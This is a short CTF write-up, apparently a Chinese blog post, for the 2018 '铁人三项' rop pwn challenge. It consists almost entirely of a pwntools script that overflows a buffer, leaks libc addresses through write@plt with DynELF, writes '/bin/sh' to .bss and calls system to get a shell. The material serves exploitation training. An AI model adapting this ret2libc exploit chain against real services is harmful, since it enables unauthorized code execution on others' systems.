铁人三项(第五赛区)2018 rop

最新推荐文章于 2025-01-17 19:02:19 发布

原创最新推荐文章于 2025-01-17 19:02:19 发布 · 590 阅读

0 ·

CC 4.0 BY-SA版权

pwn 专栏收录该内容

38 篇文章

订阅专栏

本文详细介绍了如何使用ROP技术在CTF竞赛中利用内存泄漏和动态链接库解析来实现任意地址读写，最终获取shell的过程。通过具体代码示例，读者可以了解ROP攻击的原理和实践步骤。

from pwn import *
p = process('./2018_rop')

gotwrite = 0x0804A010
pltwrite = 0x080483A0
start = 0x080483C0
bss = 0x0804A020
pltread = 0x08048360

def leak(address):
    payload = 'a' * 140 + p32(pltwrite) + p32(start) + p32(0x01) + p32(address) + p32(0x04) 
    p.sendline(payload)
    leakaddress = p.recv(4)
    return leakaddress

d = DynELF(leak, elf=ELF('./2018_rop'))
system_addr = d.lookup('system', 'libc')
payload = 'a' * 140 + p32(pltread) + p32(start) + p32(0) + p32(bss) + p32(8)
p.send(payload)
p.send("/bin/sh\0")
payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(bss)
p.sendline(payload)
p.interactive()